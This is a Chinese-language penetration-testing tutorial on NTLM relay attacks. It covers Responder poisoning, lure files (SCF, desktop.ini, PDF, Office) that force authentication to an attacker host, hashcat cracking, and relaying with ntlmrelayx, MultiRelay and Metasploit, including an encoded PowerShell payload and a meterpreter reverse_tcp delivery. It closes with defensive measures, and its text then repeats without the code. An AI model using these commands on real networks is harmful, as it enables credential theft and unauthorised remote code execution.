内网渗透之NTLM中继劫持
字数 2025 2025-08-23 18:31:17

NTLM中继劫持攻击技术详解

协议基础

NTLM协议概述

NTLM(NTLAN Manager)是Windows NT早期版本的标准安全协议,Windows 2000及后续版本为保持向后兼容而继续支持。NTLM协议主要提供认证、完整性和机密性保护,包含三个版本:

  • NTLM v1
  • NTLM v2
  • NTLM Session v2

NTLM认证流程

  1. Type1 message(协商):客户端向服务器发送包含明文用户名的请求
  2. Type2 message(挑战)
    • 服务端查询用户名是否存在
    • 从本地SAM数据库提取用户hash
    • 生成16位随机数(Challenge)
    • 使用用户密码hash加密Challenge(存储为challenge1)
    • 将明文Challenge发送给客户端
  3. Type3 message(认证)
    • 客户端使用用户密码hash加密Challenge
    • 将加密结果发送给服务器
    • 服务器比较接收的加密结果与存储的challenge1

中继攻击原理

基本概念

  • NTLM SSP:微软实现的NTLM安全支持提供程序,可通过多种协议(SMB、HTTP、LDAP、MSSQL等)传输NTLM认证消息
  • NTLM Hash:用户密码的Hash(LM hash或NT Hash),用于PTT(Pass The Hash)攻击
  • Net-NTLM Hash:NTLM认证过程中客户端使用密码Hash加密Challenge生成的Response,用于中继攻击

中继流程

  1. 攻击者作为中间人,伪装成服务端与客户端交互
  2. 同时伪装成客户端与真实服务端交互
  3. 将客户端的认证请求中继到服务端
  4. 服务端认为攻击者就是合法客户端

攻击步骤

第一步:获取Net-NTLM Hash

1. 利用LLMNR/NBT-NS投毒

  • 用户输入错误SMB共享地址(如\\Al1ex)
  • DNS解析失败后,客户端进行LLMNR/NBT-NS广播
  • 攻击者响应广播,声称自己是目标主机
  • 客户端发送认证信息,攻击者获取Net-NTLM Hash

工具使用

responder -I eth0 -f

2. 通过系统图标诱骗

  • 修改文件夹的desktop.ini文件
  • 将图标路径设置为UNC路径(如\\192.168.1.1\share)
  • 用户访问文件夹时自动连接攻击者服务器

3. 利用SCF文件

  • 创建.scf文件,内容包含UNC路径:
[Shell]
Command=2
IconFile=\\192.168.1.1\share\test.ico
[Taskbar]
Command=ToggleDesktop
  • 用户浏览包含该文件的文件夹时触发连接

4. 利用用户头像

  • 适用于Windows 10/2016/2019
  • 更改账户图片时指定远程图片URL
  • 系统会以SYSTEM权限(域内为机器账户)访问该URL

5. 恶意PDF文件

  • 利用PDF规范中的GoToR/GoToE条目加载远程内容
  • 使用工具生成恶意PDF(如Worse-PDF)
  • 注意:Chrome/IE浏览器打开PDF可能不会执行

6. Office文档攻击

  • 在Word文档中插入图片
  • 修改document.xml.rels文件,将图片路径改为UNC路径
  • 添加TargetMode="External"属性
  • 用户打开文档时触发连接

第二步:Hash破解

使用hashcat破解Net-NTLM Hash:

hashcat -m 5600 Net-NTLM-Hash PasswordFileLocation

中继攻击实施

SMB中继攻击

前提条件

  • 目标SMB签名关闭(可通过nmap检测):
nmap -n -p445 192.168.1.1 --script=smb-security-mode

方法1:Responder + MultiRelay

  1. 修改Responder.conf,关闭SMB和HTTP监听
  2. 启动Responder:
responder -I eth0 -w -r -f
  1. 使用MultiRelay模块:
python MultiRelay.py -t 目标IP -u ALL

方法2:Metasploit

  1. 使用exploit/windows/smb/smb_relay模块
  2. 设置参数并执行
  3. 诱导受害者连接攻击者SMB服务:
net use \\攻击者IP\c$

注意:仅支持NTLM v1,现代系统可能失败

方法3:Empire框架

  1. 启动Empire并清除agent
  2. 启动DeathStar:
python3 DeathStar.py -lip 攻击者IP -t 100 -u username -p password
  1. 生成PowerShell payload
  2. 使用ntlmrelayx执行中继:
ntlmrelayx.py -t 目标IP -c 'powershell -noP -sta -w 1 -enc [payload]'

自动化攻击流程

  1. 启动Responder监听:
responder -I eth0 -r -d -w
  1. 启动MSF的web_delivery模块:
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
run
  1. 启动ntlmrelayx:
./ntlmrelayx.py -t 目标IP -c "命令" -smb2support
  1. 诱导域内主机连接

直接NTLM中继

使用impacket的ntlmrelayx:

python3 ./ntlmrelayx.py -t smb://目标IP -c "whoami" -smb2support

防御措施

  1. 禁用LLMNR/NBT-NS

    • 组策略中禁用LLMNR和NetBIOS over TCP/IP
  2. 启用SMB签名

    • 对所有SMB通信强制要求签名
  3. 网络隔离

    • 限制NTLM认证流量仅限必要路径
    • 实施网络分段
  4. 使用更安全的协议

    • 尽可能使用Kerberos替代NTLM
  5. 用户教育

    • 避免点击不明文件
    • 警惕异常认证请求
  6. 监控与检测

    • 监控异常的NTLM认证请求
    • 检测LLMNR/NBT-NS投毒行为

总结

NTLM中继攻击是一种有效的横向移动技术,通过获取并中继Net-NTLM Hash,攻击者可以在域环境中提升权限。防御的关键在于禁用不安全的协议、启用SMB签名和实施适当的网络分段。

NTLM中继劫持攻击技术详解 协议基础 NTLM协议概述 NTLM(NTLAN Manager)是Windows NT早期版本的标准安全协议,Windows 2000及后续版本为保持向后兼容而继续支持。NTLM协议主要提供认证、完整性和机密性保护,包含三个版本: NTLM v1 NTLM v2 NTLM Session v2 NTLM认证流程 Type1 message(协商) :客户端向服务器发送包含明文用户名的请求 Type2 message(挑战) : 服务端查询用户名是否存在 从本地SAM数据库提取用户hash 生成16位随机数(Challenge) 使用用户密码hash加密Challenge(存储为challenge1) 将明文Challenge发送给客户端 Type3 message(认证) : 客户端使用用户密码hash加密Challenge 将加密结果发送给服务器 服务器比较接收的加密结果与存储的challenge1 中继攻击原理 基本概念 NTLM SSP :微软实现的NTLM安全支持提供程序,可通过多种协议(SMB、HTTP、LDAP、MSSQL等)传输NTLM认证消息 NTLM Hash :用户密码的Hash(LM hash或NT Hash),用于PTT(Pass The Hash)攻击 Net-NTLM Hash :NTLM认证过程中客户端使用密码Hash加密Challenge生成的Response,用于中继攻击 中继流程 攻击者作为中间人,伪装成服务端与客户端交互 同时伪装成客户端与真实服务端交互 将客户端的认证请求中继到服务端 服务端认为攻击者就是合法客户端 攻击步骤 第一步:获取Net-NTLM Hash 1. 利用LLMNR/NBT-NS投毒 用户输入错误SMB共享地址(如 \\Al1ex ) DNS解析失败后,客户端进行LLMNR/NBT-NS广播 攻击者响应广播,声称自己是目标主机 客户端发送认证信息,攻击者获取Net-NTLM Hash 工具使用 : 2. 通过系统图标诱骗 修改文件夹的 desktop.ini 文件 将图标路径设置为UNC路径(如 \\192.168.1.1\share ) 用户访问文件夹时自动连接攻击者服务器 3. 利用SCF文件 创建.scf文件,内容包含UNC路径: 用户浏览包含该文件的文件夹时触发连接 4. 利用用户头像 适用于Windows 10/2016/2019 更改账户图片时指定远程图片URL 系统会以SYSTEM权限(域内为机器账户)访问该URL 5. 恶意PDF文件 利用PDF规范中的GoToR/GoToE条目加载远程内容 使用工具生成恶意PDF(如 Worse-PDF ) 注意:Chrome/IE浏览器打开PDF可能不会执行 6. Office文档攻击 在Word文档中插入图片 修改 document.xml.rels 文件,将图片路径改为UNC路径 添加 TargetMode="External" 属性 用户打开文档时触发连接 第二步:Hash破解 使用hashcat破解Net-NTLM Hash: 中继攻击实施 SMB中继攻击 前提条件 目标SMB签名关闭(可通过nmap检测): 方法1:Responder + MultiRelay 修改Responder.conf,关闭SMB和HTTP监听 启动Responder: 使用MultiRelay模块: 方法2:Metasploit 使用 exploit/windows/smb/smb_relay 模块 设置参数并执行 诱导受害者连接攻击者SMB服务: 注意:仅支持NTLM v1,现代系统可能失败 方法3:Empire框架 启动Empire并清除agent 启动DeathStar: 生成PowerShell payload 使用ntlmrelayx执行中继: 自动化攻击流程 启动Responder监听: 启动MSF的web_ delivery模块: 启动ntlmrelayx: 诱导域内主机连接 直接NTLM中继 使用impacket的ntlmrelayx: 防御措施 禁用LLMNR/NBT-NS : 组策略中禁用LLMNR和NetBIOS over TCP/IP 启用SMB签名 : 对所有SMB通信强制要求签名 网络隔离 : 限制NTLM认证流量仅限必要路径 实施网络分段 使用更安全的协议 : 尽可能使用Kerberos替代NTLM 用户教育 : 避免点击不明文件 警惕异常认证请求 监控与检测 : 监控异常的NTLM认证请求 检测LLMNR/NBT-NS投毒行为 总结 NTLM中继攻击是一种有效的横向移动技术,通过获取并中继Net-NTLM Hash,攻击者可以在域环境中提升权限。防御的关键在于禁用不安全的协议、启用SMB签名和实施适当的网络分段。